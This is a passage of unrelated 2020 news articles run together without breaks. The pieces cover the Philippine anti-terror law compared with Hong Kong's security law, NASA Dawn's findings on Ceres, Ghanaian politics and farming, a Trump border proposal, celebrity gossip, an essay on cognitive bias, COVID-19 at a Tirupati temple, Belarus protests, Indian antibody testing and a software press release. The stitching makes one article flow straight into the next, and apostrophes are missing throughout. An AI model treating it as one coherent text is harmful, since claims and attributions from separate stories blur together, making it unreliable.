June 30. The law, which allows for ambiguously defined crimes of terrorism, secession, sedition and collusion with foreign forces to be punished with terms of up to life in prison, has been criticised by many as an assault on the most basic rights and freedoms of the people of Hong Kong. Strikingly similar legislation, which was signed into law in the Philippines by President Rodrigo Duterte around the same time, however, failed to garner the same level of international media attention and public outcry. The new Philippine Anti-Terrorism Act of 2020, which came into effect on July 18, mirrors its counterpart in Hong Kong in offering an overly broad definition of terrorism which can easily be interpreted to include any act of protest and dissent against the authorities. Using this vague definition, the law not only permits arrests without warrant, but also allows security forces to hold individuals for weeks without charge. It also creates a civilian anti-terrorism council appointed by the president, which can designate individuals and groups as terrorists and order their detention without charge for up to 24 days. Just as it is the case in Hong Kong, activists in the Philippines believe the new law will be used by the authorities to silence critics and opponents. Another major similarity between the new security laws in Hong Kong and the Philippines is their sweeping claim of extraterritorial jurisdiction. Articles 36, 37 and 38 of the Hong Kong security law extends the reach of the legislation beyond the borders of the former British colony. Article 36 posits that the law shall apply to offences committed by any person who may or may not be a citizen of China or a permanent resident of Hong Kong on board a vessel or aircraft registered in the Hong Kong Special Administrative Region. This means if you criticise Chinas actions on board a Hong Kong-registered ship in Antarctica, you may end up facing prosecution. Article 37 asserts that the law also applies to offences committed outside the city by a permanent resident of Hong Kong or companies/organisations that are registered there. Article 38, meanwhile, states that the new law, in addition to covering anyone in Hong Kong, regardless of nationality or residency status, also applies to offences committed against Hong Kong from outside the Region by a person who is not a permanent resident of the Region. In short, according to Chinese authorities, Hong Kongs security law can apply to anyone, anywhere. As Indias The Quint recently noted, if an Indian citizen sitting in India says something overly critical of the Chinese government on Twitter (which can fall under the definition of subversion), they could be arrested if they ever travel to Hong Kong for a holiday/work trip. The Philippine anti-terror law includes almost identical provisions. Section 49 of the legislation declares that the new law shall apply to Filipino nationals who commit offences penalised in the law even when they are outside the territorial jurisdiction of the Philippines. The same section posits that the law shall also apply to any individuals who commit these offences on board Philippine-registered vessels or inside Philippine embassies and diplomatic spaces. Further, it states offences committed against Philippine nationals outside the Philippines by anyone could also come under the jurisdiction of this law. Finally, it asserts that the new law shall also apply to any individual persons who, although physically outside the territorial limits of the Philippines, commit said crimes directly against the Philippine government. The attempts by Chinese and Philippine governments to expand the reach of their security legislations beyond the territorial limits of their countries are indicative of their shared desire to censor and criminalise anyone who dares to criticise their actions and policies. The extraterritorial scope of the Philippine anti-terror law is particularly worrying, as the Duterte government has been trying to punish its critics outside the country for a while. In April, Philippine authorities accused a Filipina caregiver working in Taiwan of cyber-libel for posting nasty and malevolent materials against President Duterte on her social media accounts and demanded her extradition. At the time, the Taiwanese authorities rejected the request, saying the rights of foreign workers living there, including their right to free speech, are protected. The provisions in the anti-terror law that allow for its extraterritorial application indicate that Dutertes government did not learn anything from its recent run-in with Taiwan, and that it is determined to continue its efforts to scare millions of Philippine nationals living in the diaspora into silence. Despite being strikingly similar to or perhaps even harsher than Hong Kongs security law, the Philippine anti-terror law did not cause much outrage in the international media or the political arena. After China imposed its draconian security law on Hong Kong, governments around the world voiced their displeasure loudly and clearly. Political leaders from the UK to Japan and Australia condemned the move, while 27 members of the UN Human Rights Council announced that they have deep and growing concerns over the new law. On August 7, the US even issued sanctions against 11 senior Chinese and Hong Kong officials, including Hong Kong chief executive Carrie Lam, over Beijings imposition of the sweeping national security law. Duterte, however, barely faced any pushback in the international arena over his anti-terror law. There are, of course, some fundamental differences between the situations in Hong Kong and the Philippines that may have caused the international community to react differently to the two security legislations. Unlike Hong Kong, the Philippines is a sovereign country led by a democratically elected government. But this does not mean the world should turn a blind eye to the blatantly anti-democratic and repressive practices of the Duterte government, or its apparent eagerness to copy methods used by Beijing authorities to stifle dissent. The people of the Philippines ousted Ferdinand Marcoss dictatorship more than three decades ago, but the countrys democracy remains fragile. A few political dynasties continue to rule the country, and the most basic rights and freedoms of everyday people are threatened by those in power daily. Moreover, since coming to power in 2016, Duterte repeatedly professed his admiration for Chinas President Xi Jinping and positioned his country closer to the Asian giant and further away from its Western adversaries. In 2018, in a speech to an audience of Filipino-Chinese businessmen, he even jokingly proposed making the Philippines a province of China, adding to fears that he is planning to move the country further into Chinas influence zone. Perhaps more worryingly, Duterte and his allies have been pushing for constitutional changes so that the president can run again when his current term ends in 2022. The new security law could easily serve to stamp out any resistance to such a move. Democratic governments around the world who swiftly mobilised to help the people of Hong Kong resist Chinese oppression should do the same for the Philippines. If they allow Duterte to criminalise his critics and opponents with impunity, the Philippines may soon revert back to being the rogue state it was under the dictatorship of Marcos. Such an outcome would be devastating, not only for the people of the Philippines, but the entire Asia Pacific region and the world. The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial stance. Data from NASA's recent Dawn mission answers two long-unresolved questions: Is there liquid inside Ceres, and how long ago was the dwarf planet geologically active? NASA's Dawn spacecraft gave scientists extraordinary close-up views of the dwarf planet Ceres, which lies in the main asteroid belt between Mars and Jupiter. By the time the mission ended in October 2018, the orbiter had dipped to less than 22 miles (35 kilometers) above the surface, revealing crisp details of the mysterious bright regions Ceres had become known for. Scientists had figured out that the bright areas were deposits made mostly of sodium carbonate - a compound of sodium, carbon, and oxygen. They likely came from liquid that percolated up to the surface and evaporated, leaving behind a highly reflective salt crust. But what they hadn't yet determined was where that liquid came from. By analyzing data collected near the end of the mission, Dawn scientists have concluded that the liquid came from a deep reservoir of brine, or salt-enriched water. By studying Ceres' gravity, scientists learned more about the dwarf planet's internal structure and were able to determine that the brine reservoir is about 25 miles (40 kilometers) deep and hundreds of miles wide. Ceres doesn't benefit from internal heating generated by gravitational interactions with a large planet, as is the case for some of the icy moons of the outer solar system. But the new research, which focuses on Ceres' 57-mile-wide (92-kilometer-wide) Occator Crater - home to the most extensive bright areas - confirms that Ceres is a water-rich world like these other icy bodies. The findings, which also reveal the extent of geologic activity in Occator Crater, appear in a special collection of papers published by Nature Astronomy, Nature Geoscience, and Nature Communications on Aug. 10. "Dawn accomplished far more than we hoped when it embarked on its extraordinary extraterrestrial expedition," said Mission Director Marc Rayman of NASA's Jet Propulsion Laboratory in Southern California. "These exciting new discoveries from the end of its long and productive mission are a wonderful tribute to this remarkable interplanetary explorer." Solving the Bright Mystery Long before Dawn arrived at Ceres in 2015, scientists had noticed diffuse bright regions with telescopes, but their nature was unknown. From its close orbit, Dawn captured images of two distinct, highly reflective areas within Occator Crater, which were subsequently named Cerealia Facula and Vinalia Faculae. ("Faculae" means bright areas.) Scientists knew that micrometeorites frequently pelt the surface of Ceres, roughing it up and leaving debris. Over time, that sort of action should darken these bright areas. So their brightness indicates that they likely are young. Trying to understand the source of the areas, and how the material could be so new, was a main focus of Dawn's final extended mission, from 2017 to 2018. The research not only confirmed that the bright regions are young - some less than 2 million years old; it also found that the geologic activity driving these deposits could be ongoing. This conclusion depended on scientists making a key discovery: salt compounds (sodium chloride chemically bound with water and ammonium chloride) concentrated in Cerealia Facula. On Ceres' surface, salts bearing water quickly dehydrate, within hundreds of years. But Dawn's measurements show they still have water, so the fluids must have reached the surface very recently. This is evidence both for the presence of liquid below the region of Occator Crater and ongoing transfer of material from the deep interior to the surface. The scientists found two main pathways that allow liquids to reach the surface. "For the large deposit at Cerealia Facula, the bulk of the salts were supplied from a slushy area just beneath the surface that was melted by the heat of the impact that formed the crater about 20 million years ago," said Dawn Principal Investigator Carol Raymond. "The impact heat subsided after a few million years; however, the impact also created large fractures that could reach the deep, long-lived reservoir, allowing brine to continue percolating to the surface." Active Geology: Recent and Unusual In our solar system, icy geologic activity happens mainly on icy moons, where it is driven by their gravitational interactions with their planets. But that's not the case with the movement of brines to the surface of Ceres, suggesting that other large ice-rich bodies that are not moons could also be active. Some evidence of recent liquids in Occator Crater comes from the bright deposits, but other clues come from an assortment of interesting conical hills reminiscent of Earth's pingos - small ice mountains in polar regions formed by frozen pressurized groundwater. Such features have been spotted on Mars, but the discovery of them on Ceres marks the first time they've been observed on a dwarf planet. On a larger scale, scientists were able to map the density of Ceres' crust structure as a function of depth - a first for an ice-rich planetary body. Using gravity measurements, they found Ceres' crustal density increases significantly with depth, way beyond the simple effect of pressure. Researchers inferred that at the same time Ceres' reservoir is freezing, salt and mud are incorporating into the lower part of the crust. Dawn is the only spacecraft ever to orbit two extraterrestrial destinations - Ceres and the giant asteroid Vesta - thanks to its efficient ion propulsion system. When Dawn used the last of a key fuel, hydrazine, for a system that controls its orientation, it was neither able to point to Earth for communications nor to point its solar arrays at the Sun to produce electrical power. Because Ceres was found to have organic materials on its surface and liquid below the surface, planetary protection rules required Dawn to be placed in a long-duration orbit that will prevent it from impacting the dwarf planet for decades. JPL, a division of Caltech in Pasadena, California, manages Dawn's mission for NASA's Science Mission Directorate in Washington. Dawn is a project of the directorate's Discovery Program, managed by NASA's Marshall Space Flight Center in Huntsville, Alabama. JPL is responsible for overall Dawn mission science. Northrop Grumman in Dulles, Virginia, designed and built the spacecraft. The German Aerospace Center, Max Planck Institute for Solar System Research, Italian Space Agency and Italian National Astrophysical Institute are international partners on the mission team. Please follow SpaceRef on Twitter and Like us on Facebook. The opposition National Democratic Congress (NDC) running mate, Professor Naana Jane Opoku-Agyemang, has paid a visit to the Greater Accra Regional House of Chiefs in Dodowa to officially introduce herself to the traditional rulers in the region. Professor Opoku-Agyemang thanked the chiefs for the leadership in their communities, assuring them that, our MPs and Parliamentary Candidates will continue to engage in a politics of ideas, promote national unity and development. She also emphasized that it is time for all Ghanaians to put the country first. The NDC running mate also expressed appreciation to the chiefs for their wise counsel and asked for their guidance and prayers throughout the campaign. The President of the Greater Accra Regional House of Chiefs, Nii Okwei Kinka Dowuona VI, thanked the NDC Running Mate for making time to visit and expressed the willingness of the House to partner the NDC administration for development. May God and our ancestors bless you for recognizing the need to see your landlords. Our collective desire is to see a prosperous nation. Ghana must win, he said. Professor Opoku-Agyemang also paid a courtesy call on the Shai-Osudoku Traditional Council where she called for continuous partnership between the NDC and the Council, and also introduced NDC parliamentary candidate, Linda Akweley Ocloo, to the chiefs and people. In a brief remark, the Chief of Dodowa, Nene Tei Kwesi Agyemang V said the NDC has always been concerned about the plight of his people, noting that the District assembly, hospitals, roads, streetlights have always been the handiwork of the NDC. ---citinewsroom Donald Trump is considering a new proposal that would prevent U.S. citizens and legal residents from returning to the United States, if it is believed they may be infected with coronavirus. Many countries have already put travel restrictions in place, and some have closed their borders, but most permit their own citizens to return. Federal agencies have been asked to submit feedback on the proposal to the White House by Tuesday, the New York Times reported on Monday. Donald Trump, pictured on Monday, is said to be considering a proposal to restrict entry to citizens and legal residents The plan would see U.S. citizens barred from entering the country from COVID hot spots Currently the United States bans entry from Brazil, China, Europe and the U.K, except for legal residents and citizens. New Zealand does not allow anyone other than citizens to return from anywhere - and citizens must enter a government-run hotel for quarantine. Japan has, since April, blocked permanent and long-term residents from returning. Citizens can still enter. Under the new proposal, which relies on existing legal authorities of the Centers for Disease Control and Prevention, the government could block a citizen or legal resident from crossing the border into the United States if an official 'reasonably believes that the individual either may have been exposed to or is infected with the communicable disease.' The draft, parts of which were obtained by The Times, explicitly says that any order blocking citizens and legal permanent residents must 'include appropriate protections to ensure that no Constitutional rights are infringed.' And it says that citizens and legal residents cannot be blocked as an entire class of people. Cars line up to cross the U.S.-Mexico border between Tijuana and San Diego The president is yet to make a decision on the plan, which would have a huge impact The documents do not specify how long a citizen or legal resident would be required to remain outside of the United States. The draft memo says the prohibition on the introduction of U.S. citizens or legal residents from abroad would apply 'only in the rarest of circumstances,' and 'when required in the interest of public health, and be limited in duration.' The rule would have dramatic implications for the southern border, where U.S. citizens and legal residents frequently cross into Mexico and back. Canada closed its border with the United States on March 21, and only Canadian citizens can cross. They confirmed they were back on during filming for the upcoming series of TOWIE. And Yazmin Oukhellou cut a glamorous figure in a pink marble dress as she met up with Amber Turner to shoot scenes on Sunday, while James Lock, 33, washed his Mercedes with the help of Dan Edgar. The TOWIE star, 26, showed off her ample cleavage in the figure-hugging dress before stripping off to a bikini due to the sunny climes. Turning heads: Yazmin Oukhellou cut a glamorous figure in a pink marble dress as she met up with Amber Turner to shoot scenes for the upcoming series of TOWIE on Sunday Yazmin flaunted her tanned legs in the dress which came complete with a daring thigh-high split. She added a boost to her leggy frame with perspex heels and wore large shades on her head. Ahead of filming, Yazmin posed for the camera before enjoying a drink with Amber on a bench in a brown and white bikini. Getting to work: James Lock washed his Mercedes with the help of Dan Edgar Yazmin showed off her tanned legs in the dress which came complete with a daring thigh-high split Glam Ahead of filming, Yazmin posed for the camera before enjoying a drink with Amber on a bench in a brown and white bikini James. meanwhile. cut a casual figure in a white vest top and shorts. Soon after lockdown travel restrictions were lifted last month, Yazmin and James, who were together for two years, were seen kissing at a beach club in Mallorca. A source told The Sun at the time: 'They're not officially back together but they're getting closer and everyone around them wouldn't be surprised if they got back together. 'They're getting along really well and sparks are flying it's like the old days. They're on holiday with a large group of people but they're really reconnecting.' Casually-clad: James. meanwhile. cut a casual figure in a white vest top and shorts Getting the job done: The Celebs Go Dating star was prepared to wash his flashy car as he carried over the cleaning essentials Refreshing: James kept cool during the scorching temperatures by washing his car Weeks later they enjoyed dinner together at Sexy Fish in London's Mayfair, with James sending her flowers just before the date. Yazmin and James sensationally split last summer after rumours of cheating on his part - which he vehemently denied. The couple displayed their turbulent relationship on TOWIE during their two years of being together. James went on to star on Celebs Go Dating while Yazmin was linked to Absolutely Ascot millionaire Alfie Best Junior. Back on: James and Yazmin enjoyed their respective time with their friends after rekindling their romance Hunk: Dan went shirtless as he worked up a sweat in the heat Autocomplete is a search engine function that tries to predict the terms being entered into the search bar, and offers suggestions for related searches. Credit: Shutterstock Enter any of the following words into your browser's search bar: progressive, liberal, conservative, evangelical, right wing, gay, straight, Muslim, Republican or Democrat. Do you notice that other terms that the algorithms think are related appear automatically? Where you have pausedmaybe to think more or to press the Enter keyautocomplete has stepped in to finish what you started. Similarly, when we think of those political terms, the brain kicks in too. And, like autocomplete, it completes our thoughtsand not always for the better. The hostilities in our civic discourse are often exacerbated by this feature of our cognition. We live in an era of extreme political and social polarization: this autocomplete instinct undermines the possibility of effective deliberative democracy. Lazy reasoning Recent scholarship on human cognition demonstrates that we have evolved to be both biased and lazy reasoners. According to cognitive scientists Hugo Mercier and Dan Sperber, we become "biased because human reason overwhelmingly finds justifications and arguments that support the reasoner's point of view, lazy because reason makes little effort to assess the quality of the justifications and arguments it produces." We have evolved shortcuts that allow us to assess situations quickly and act accordingly. These shortcuts allow for efficiencies that make life workable. When applied to our social and civic lives, this often contributes to polarization. As cognitive scientists Steven Sloman and Philip Fernbach argue in The Knowlege Illusion, "instead of appreciating complexity, people tend to affiliate with one or another social dogma." Response anxiety I grew up having lively political debates with my parents around our dinner table. Since then, I've been ready, willing and able to jump into the fray of civic discourse in almost any context with very little prompting. Recently, however, I have become anxious and often just keep my mouth shut. I am an active, practicing Christian who has spoken and written about the relationship between faith and civic life. I used to quite freely identify myself as a Christian and acknowledge that my scholarship and civic participation are shaped by my faith. Given the highly controversial and often toxic participation of the so-called Christian right in civic life in both Canada and the United States, I am now often reluctant to show my colors this way. I worry that people's natural tendency to efficientor lazyreasoning will cause them to default to mental autocomplete to categorize me and my views rather than engaging in the more difficult and complex work of really listening and seeking to understand. Search engines learn from previous input to make current and future online work more efficient. When I want to order a book online, register for a conference or fill out a form to apply for some kind of service, as I start to type my name in the first box the browser's memory calls up the rest of my informationlast name, address, phone number, email, etc.and completes the form for me. Like my brain, it looks for ways to help me move quickly and easily through the process. Managing identities The problem is that I have two online identities: a personal identity and a professional one, each with different addresses, phone numbers and email addresses. My browser can't distinguish which of these is appropriate for the task at hand and often defaults to the wrong one. I see a similar thing happening in civic discourse when a person expresses a view that is identified with an easy political label. When I tell people I am an academic, for example, they often make the assumption that my positions on political or social issues will all fall on the left, or progressive, end of the spectrum. Many people characterize professors as inevitably liberal and a process of mental autocomplete kicks in and fills in all kinds of other boxes automatically. Mental autocomplete assumes that if we know one thing about a person's political orientation, we can automatically attribute many other things to them. This is an example of what Sloman and Fernbach refer to as "the knowledge illusion," which includes our tendency to simplify when "most things are complicated, even things that seem simple." Most people's social and political beliefs are too complex to be captured by autocomplete and require nuanced understanding that moves beyond simplistic categories. As political theorist David Moscrop argues, "[d]emocracy calls each of us to do something that we have not specifically evolved to do: engage in complex and often abstract reasoning." Hard boundaries for complex ideas The possibility of being misunderstood has always been there of course, but in today's hyperpartisan, angry public square it seems much more dangerous. Identifying or being identified with a particular position can result in widespread and caustic condemnation. It is not that some positions don't deserve condemnation, but positions and the people that hold them, deserve careful consideration before being judged. Our civic discourse seems less about wrestling with moving toward the common good, and more about defining boundaries between and among people. This is not consistent with a healthy democratic ethos that values diverse perspectives and recognizes the need for compromise. Using autocomplete oversimplifies both individuals and the positions they take, and makes collaboration more difficult. I can turn off the autocomplete feature of my search engine and make sure that the correct information gets enteredas a society, we would do well to learn how to override our cognitive autocomplete. Explore further Facebook apologizes for offensive autocomplete search results This article is republished from The Conversation under a Creative Commons license. Read the original article. Stella Kyriakides, European Commissioner for Health and Food Safety, attends a press conference after the EU Health Affairs Council in Brussels, Belgium, on March 6, 2020. (Photo by Riccardo Pareggiani/Xinhua) European Commissioner for Health and Food Safety Stella Kyriakides said the vaccine may not solve all the problems right away, but will "gradually allow a return to normality" once a "critical mass of citizens, especially among the risk groups" have been vaccinated. BERLIN, Aug. 10 (Xinhua) -- The first vaccine against COVID-19 may be available towards the end of this year or early next year, German newspaper Handelsblatt reported on Monday, quoting European Commissioner for Health and Food Safety Stella Kyriakides. "Although making predictions is risky at this stage, we have good indications," Kyriakides told the newspaper. Kyriakides said the vaccine may not solve all the problems right away, but will "gradually allow a return to normality" once a "critical mass of citizens, especially among the risk groups" have been vaccinated. The commissioner expressed concern over rising infection rates across the European Union (EU), saying, "we are seeing an increasing number of smaller and larger outbreaks in several member states." She called on EU countries to locally control infection source with "testing, contact tracing and immediate isolation." Kyriakides didn't exclude the possibility that some member states might again take drastic restriction measures as in March and April. "The uncertainties surrounding the virus remain... We must remain vigilant and not let our guard down to avoid a second lockdown," she warned, adding that the EU is better prepared than at the beginning of the crisis. Kyriakides said the coronavirus warning apps now available in member states should be "merged into one portal so that they can be used throughout the EU." The official also hoped the pilot phase of the portal could start in early September. New Delhi, Aug 11 : The Supreme Court on Tuesday reserved its order on Rhea Chakraborty's plea for transfer of the FIR lodged in Patna by Sushant Singh Rajput's father to the Mumbai Police. A single-judge bench of Justice Hrishikesh Roy noted that Rhea herself has pleaded for a Central Bureau of Investigation probe. Both the Bihar government and Sushant's father are seeking a CBI probe into the actor's death, while the Maharashtra government opposes it. The top court has asked all the parties in the case to file written submissions by Thursday. The Bihar government alleged there was political pressure to stop registration of an FIR in Mumbai and Solicitor General Tushar Mehta, representing the Centre, argued that the arguments made by the Chief Ministers of both Maharashtra and Bihar during the case makes it a fit case for a CBI inquiry. Rhea's counsel, however, contended that the FIR in Bihar was at the behest of Chief Minister Nitish Kumar there, and if there were to be a fair investigation, it can't be at the instance of Bihar Police. Stressing that the transfer petition should be allowed, Rhea's counsel insisted that the effective investigation should be in Mumbai, as it is also the place of original jurisdiction. Mehta, meanwhile, questioned how the Mumbai Police summoned 56 persons and recorded their statements, as they cannot do it under inquest proceedings. He submitted before the court that Mumbai Police never registered an FIR to investigate the case. He also argued that the Enforcement Directorate has already initiated investigation, and after one central agency has registered a case, another central agency (CBI) should be engaged. Latest updates on Sushant Singh Rajput Death Mystery -- The story has been published from a wire feed without any modifications to the text On 9 August, the Tirumala Tirupati Devasthanams reported that a staggering 743 members of their staff had tested positive for COVID-19 since the temple reopened on 11 June. On 9 August, the Tirumala Tirupati Devasthanams (TTD) reported that a staggering 743 members of their staff had tested positive for COVID-19 since the temple reopened on 11 June. A representative also confirmed that approximately 2,38,000 devotees visited the temple in July alone. When reports of COVID-19 cases at the temple began to spread at the end of July, there was a temporary dip in the number of visitors but by 8 August, close to 8,000 visitors were visiting the temple every day again. By way of comparison, 4,500 members of Tablighi Jamaat attended the much maligned Markaz at Nizamuddin. In the United States, churches emerged as a hotbed of new coronavirus infections in July. And in South Korea, a significant portion of the initial spread of the virus was linked to a super spreader, Patient 31, a congregant of the Shincheonji Church of Jesus in Daegu who attended services. The Shincheonji church cluster is estimated to have led to the spread of the virus to approximately 5,000 people. All of which begs the question, why do religious people across faiths and geographies continue to gather despite all the warnings from the scientific community? Managing uncertainty The human mind struggles with uncertainty. The stress caused by uncertainty often exceeds the stress caused by an actual adverse event. A 2016 University College of London study demonstrated that subjects who were told that there was small chance that they would be subjected to an electric shock measured stress levels that were far higher than subjects who were told that they would definitely be subjected to an electric shock. So how do we deal with COVID-19; with what is perhaps the largest collective uncertainty we have known since World War II? For some, the answer is obvious science. Listen to the experts and do as youre told. Its simple. Science, in popular parlance, is clear, direct, unbiased and certain. Unfortunately, there are limits to the certainty that can be provided by science. No knowledge in the universe is complete. Everything is only known to a degree of certainty. In most situations however, the results of medical research are presented with a degree of certainty that is so high that the uncertainty becomes irrelevant. We are shielded from having to process or react to any significant uncertainty by multiple layers and checks that occur before information is made public and retractions are rare. With COVID-19 research, however, we have all had the dubious privilege of ringside seats to the research process and all of its attendant flip flops. We have heard changing answers on whether asymptomatic carriers exist, whether mask wearing helps, the appropriate distance to maintain, whether the virus is airborne, whether hydroxychloroquine is harmful, whether the BCG vaccine provides immunity and the existence of long-term immunity in recovered patients. While members of the scientific community affirm that this is par for the course in scientific research, to the layman, it hasnt provided reassurance or dispelled uncertainty. Substituting rationality with faith When science and faith are positioned as an either/or choice in times of distress, its easy to see where the coin will land. Faith, by definition, provides comfort, security and most importantly, certainty. Things become true merely by believing in them. The words of the 15th century poet Kabir Das, "jako rakhein saiyan, mar sake na koi (if God protects you, nothing can harm you) previously invoked to justify everything from helmetless motorbike riding to hanging precariously out of local trains, have now been co-opted into avoiding social distancing guidelines. In a straight one-on-one against faith, what chance can poor, rigid, science with its varying degrees of certainty have? Ultimately, medical science deals with probabilities and probabilities are cold comfort. When faced with an immediate specific piece of information, like reports of new COVID-19 cases at the TTD, people might rethink their visits for a few days, but pretty soon, the doubts raised by science are silenced and the certainty of faith reasserts itself. Further, according to Daniel Kahneman, the Nobel Prize winning behavioural economist, human beings make a majority of their decisions by thinking fast or based on instinct, which is in turn disproportionately based on anecdotal evidence and personal experience. He also reminds us that humans arent necessarily very good at deciding which decisions should be made by instinct. This can drive people to dismiss medical science using anecdotes (My grandfather smoked like a chimney and lived to be a hundred and therefore research on lung cancer and smoking is wrong). Further, when science is posited to the layman as infallible, a single anecdotal inconsistency or even a rumour of such inconsistency is seen as reason enough to reject it as entirely false. For example, measles in the United States, which was close to being eradicated has had a resurgence with anti-vaxxers continuing to have faith in doubts raised with respect to the MMR vaccine in a 1998 study published by Andrew Wakefield despite the study being discredited and the doctor struck off the medical register in the UK. The continuously evolving research and public health policies associated with COVID-19 have provided ample scope for their own dismissal or rejection. The supposed incompatibility of science and faith The last two decades have seen significant encroachment into the field of science by religion, especially in the US. Perhaps the most controversial has been the rising prominence of the challenge to the doctrine of evolution by creationist theory. As a result, there is a growing belief that science and religion are entirely incompatible and that one must choose between the two. But scientists havent always viewed faith and science as incompatible. For Ada Lovelace, the mathematician collaborator of Charles Babbage (and daughter of Romantic poet Lord Byron), the two were inextricably linked. Religion to me is science, and science is religion, she remarked in a letter to a fellow scientist. For Albert Einstein, the universe was too complicated for the human brain to ever fully comprehend or adequately explain. Beyond what could be explained, where knowledge gave out, he believed in Spinozas understanding of God, who reveals himself in the orderly harmony of what exists. Faith and science were complementary. Science without religion is lame, religion without science is blind, he remarked. For Einstein, any conflict between religion and science came from one or the other exceeding their allocated roles. This belief was important because it allowed him to clearly demarcate the fields in which he thought science should take the lead and where faith or religion or morality should. Few scientists will assert that scientific knowledge is all encompassing or infallible or believe that science can adequately explain the entirety of the universe. There are always blanks to be filled and room for doubt in science. And in that place of doubt, there may be room for both faith and science to coexist, without forcing us to reject one or the other. Perhaps if we begin to see things like that, we can stop looking for spiritual comfort in daily COVID-19 statistics or looking for a cure to an airborne pandemic in an overcrowded temple. Sarayu Pani is a Mumbai based lawyer Featured image via Tirumala Tirupati Devasthanams website More than 2,000 people have been detained in Belarus over the past day for participating in unsanctioned protests, the Belarusian Interior Ministry said in a statement on Tuesday. "More than 2,000 people have been detained across the country, including those participating in unsanctioned public events," the statement said. "On the night passing from August 10 to August 11, citizens were seen gathering in spots in a number of cities; the gatherings were the largest in Minsk, Brest, Mogilev, and Novopolotsk. Facts of open confrontation with officers of law enforcement, multiple attacks on police officers, and damage done to vehicles were registered. These illegal actions harmed 21 police officers and servicemen of the Internal Troops, and five of them have been hospitalized," the statement said. Some of Indias biggest employers are testing for antibodies to either comply with regulatory norms or gauge the effectiveness of precautionary measures. India Incs bigwigs as well as small players are warming up to the idea of testing all its employees for antibodies. This could, in turn, contribute to the countrys Covid-19 immunity database. Reliance Industries (RIL), Indias largest private sector company, is using a mix of all the Covid-19 related tests available, including antibody tests. RIL executives said the nature of the tests and who should undergo it is determined using the companys AI-based symptoms tracker, which every employee has to update for himself and her family member. The RIL symptoms tracker has a series of questions based on ICMR guidelines, which help doctors to track if any employee or family member has contracted Covid-19. The inputs, RIL executives said, are followed up with medical advice on whether tests are needed. The tracker collects data of around 800,000 people - employees and their family members - everyday. RIL looks to use this data and test results to ensure safe return of employees to its office at a later stage. Even JSW, Tata Projects, and Thermax have opted for antibody testing for their staff. Even a small investment advisory firm in Mumbai is planning to conduct antibody tests for its team members. For the advisory firm, the test added human resource benefit offered to employees. Some of Indias biggest employers, however, are testing for antibodies to either comply with regulatory norms or gauge the effectiveness of precautionary measures. Tata Projects, for instance, plans to test each of its 20,000 workers for antibodies. Of the lot, it has tested 5,000-6,000 employees at various facilities so far. The company has been conducting a mix of antibody as well as RT-PCR tests. It will, the firm hopes, help isolate cases and improve precautionary measures. However, executive are not sure of the veracity of such antibody tests. It is temporary information, said M S Unnikrishnan, MD and CEO of Thermax, a power equipment manufacturer. He said the firm has conducted these tests on random samples at different factory locations. Thermax has limited testing to facilities based in locations with reported infections. Unnikrishnan looks to use the results to strengthen existing precautionary measures. For those operating in cities such as Mumbai, antibody testing was mandatory. Sajjan Jindal-promoted JSW Group conducted these tests for employees working in their Mumbai corporate office. Testing was conducted to comply with the Brihanmumbai Municipal Corporations (BMC) regulatory orders. In reply to a query on antibody testing, R A Rajeev, commissioner for Mumbai Metropolitan Region Development Authority, said: I understand all concerned contractors are testing. Hindustan Construction Company (HCC) is among the contractors building Mumbais coastal road and a Mumbai Metro network package. All of HCCs 250 labourers at the coastal road project site have been tested. HCC also plans to undertake similar tests for new labourers joining its Mumbai metro project work site. Based on preliminary data from these firms, the anti-body build-up in numbers is relatively small. Out of a 100 being tested for antibodies, positive results are in single digits, said two company executives. For HCC, none of the 250 employees at the project site tested positive. Firms have not disclosed the costs incurred during the process. Most of these do not have a all-India tie-up, but are approaching the designated location-based facilities. A regular Covid antibody test, according to diagnostics centre websites, starts at Rs 600. Photograph: PTI Photo Farmers have been urged to adopt good agricultural practices, appropriate agro-chemicals for increased sustainable productivity. Also, they should use the appropriate planting materials that will make their work easy and ensure good yields. Mr. Richard Segdem of Adidome Farm Institute, said this at a three-day training programme for some selected farmers in the Ketu North District of the Volta Region. It was on the theme Improving productivity and produce quality of small holder farmers through GAP training. The programme was organized by Maphlix Trust Farms in collaboration with German Agency for International Cooperation (GIZ) with the support of Adidome Farm Institute at Tadzewu to educate farmers on the Orange Flesh Sweet Potato developed by Savanna Agricultural Research Institute. He explained that good agricultural practices make the work of the farmer easier, reduce cost and avoid labour work. They should also seek advice from extension officers and adopt the use of technology in their farming activities to improve on their productivity. Mr. Segdem said adopting new technologies and modern agronomic practices is the only way to increase food production and ensure food security for the increasing population. Managing Director of Maphlix Trust Farms, Mr. Felix Kamassah said that, the objective was to beef up the number of out-growers to be able to produce enough to feed the potato consumers and ensure they are armed with the relevant and appropriate agricultural methods. Our target is to train 400 smallholder farmers by the end of our workshop so they can meet set targets in terms of yields, he said. After the training, Maphlix Farms would supply the farmers with the requisite planting material, as well as extend other services like tractor and equipment services to them. When the crops are due for harvesting the company buys from the farmers for onward export. Mr. Kamassah revealed that, there was a huge international market for Sweet Potato and that they are preparing themselves for all opportunities within the value chain Orange Flesh Sweet Potato has Vitamin A benefits in it, which is very good for children especially with the provision of free food to the children in government schools and I believe this is one of the best meals to serve; this is the time for the government to invest more into the Potato sector by providing smallholder farmers with irrigation systems and equipments for processing it into finished products he added. Madam Florence Keleku a Sweet Potato farmer at Tsinea expressed concern about their inability to get loans from the Banks in the country to expand their farms and urged the banks and government to do something about that. Others also appealed to the law enforcement agencies to arrest people who are selling fake agrochemicals to farmers in rural communities. Centric Software Launches Market-Leading Digital Transformation Solutions in Russia Fashion and retail companies in Russia realize that digital transformation is imperative, especially in the wake of the massive disruption all markets are facing. Centric Software is bringing its best-in-class Product Lifecycle Management (PLM) solutions to brands, retailers and manufacturers in Russia, recently signing partnerships with four customers in the region. Centric Software provides the most innovative enterprise solutions to fashion, retail, footwear, outdoor, luxury, consumer goods and home decor companies to achieve strategic and operational digital transformation goals. Centric PLM provides an actionable, single source of the truth for product-related data enabling fast go to market and efficient product management. Considered a necessary foundation technology for brands, retailers and manufacturers, Centric PLM enables streamlined digital collaboration across internal and external teams in order to drive product innovation, speed time to market and optimize costs. Centric Softwares PLM solutions have been developed hand-in-hand with 370+ companies representing 1,350+ brands worldwide, combining Silicon Valley expertise with industry best practices. Fashion and retail companies in Russia realize that digital transformation is imperative, especially in the wake of the massive disruption all markets are facing, explains Konstantin Galkin, Sales Director in Russian Federation at Centric Software. Companies have suddenly transitioned to remote collaboration and are facing considerable uncertainty. They are looking for ways to optimize efficiency and productivity in order to cope with pressure on product margins and operating capital. Having the right technology in place to support these changes will determine whether businesses survive. Centric 